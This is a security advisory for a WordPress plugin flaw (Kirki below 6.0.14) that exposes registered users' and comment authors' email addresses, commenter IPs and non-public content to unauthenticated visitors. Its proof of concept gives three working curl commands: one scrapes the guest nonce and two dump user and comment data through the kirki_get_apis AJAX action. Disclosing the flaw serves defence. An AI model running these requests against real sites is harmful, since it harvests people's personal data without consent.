Kirki < 6.0.14 – Unauthenticated User and Comment Author Email Disclosure via kirki_get_apis | CVE 2026-77754

Description

The plugin does not perform a capability check on some endpoints of one of its public AJAX actions, allowing unauthenticated users to retrieve the email addresses of registered users and comment authors, as well as non-public page content and settings.

Proof of Concept

The AJAX action is registered for logged-out callers and the only barrier is a wp_rest nonce that the plugin itself prints into the page for guests.

1. Scrape the guest nonce from any front-end page that renders Kirki. It is emitted on wp_footer as window.wp_kirki.nonce:

curl -s 'https://example.com/' | sed -n 's/.*"nonce":"\([^"]*\)".*/\1/p' | head -1

2. Read every registered user's email address, unauthenticated, using that nonce:

curl -s 'https://example.com/wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-users-of-collection&items=1000&current_page=1' -H 'X-WP-Nonce: <NONCE>'

3. Read every comment author's email address and IP, including on unapproved comments:

curl -s 'https://example.com/wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-comments&items=1000&current_page=1' -H 'X-WP-Nonce: <NONCE>'

Control: repeating either request with no X-WP-Nonce header, or with a bogus nonce, returns {"success":false,"data":"Not authorized"}, so the guest-obtainable nonce is the only barrier.